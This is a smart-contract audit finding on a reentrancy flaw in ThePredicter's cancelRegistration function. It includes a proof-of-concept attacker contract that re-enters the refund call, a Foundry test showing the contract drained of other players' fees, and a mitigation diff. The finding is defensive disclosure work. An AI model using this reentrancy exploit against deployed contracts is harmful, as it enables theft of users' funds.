Description
The function ThePredicter:cancelRegistration is available to receive a reentrancy attack and lost all your funds
Impact
The protocol could be drained and the users will lost all your funds
Proof Of Concept:
In the test/ create the ReentrancyAttackOnCancelRegistration.sol:
pragma solidity 0.8.20;
interface ThePredicter {
function cancelRegistration() external;
}
contract ReentrancyAttackOnCancelRegistration {
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
}
ThePredicter public thePredicter;
receive() external payable {
if(address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
}
In the test/ThePredicter.test.sol import the ReentrancyAttackOnCancelRegistration:
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
+ import { ReentrancyAttackOnCancelRegistration } from "./ReentrancyAttackOnCancelRegistration.sol";
And add the test:
function test_ReentracyAttackOnCancelRegistration() public {
address stranger1 = makeAddr("stranger1");
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.deal(stranger1, 1 ether);
vm.deal(stranger2, 1 ether);
vm.deal(stranger3, 1 ether);
vm.startPrank(stranger1);
thePredicter.register{value: 0.04 ether}();
vm.startPrank(stranger2);
thePredicter.register{value: 0.04 ether}();
vm.startPrank(stranger3);
thePredicter.register{value: 0.04 ether}();
assertEq(address(thePredicter).balance, 0.12 ether);
ReentrancyAttackOnCancelRegistration reentrancyAttackOnCancelRegistration = new ReentrancyAttackOnCancelRegistration(address(thePredicter));
address addressReentrancyAttackOnCancelRegistration = address(reentrancyAttackOnCancelRegistration);
vm.startPrank(addressReentrancyAttackOnCancelRegistration);
vm.deal(addressReentrancyAttackOnCancelRegistration, 1 ether);
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
assertEq(address(thePredicter).balance, 0 ether);
assertEq(addressReentrancyAttackOnCancelRegistration.balance, 1.12 ether);
}
Run with: forge test --match-test test_ReentracyAttackOnCancelRegistration -vvvv
Recommended Mitigation:
Update the status of the player to canceled before sending the entry fee.
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
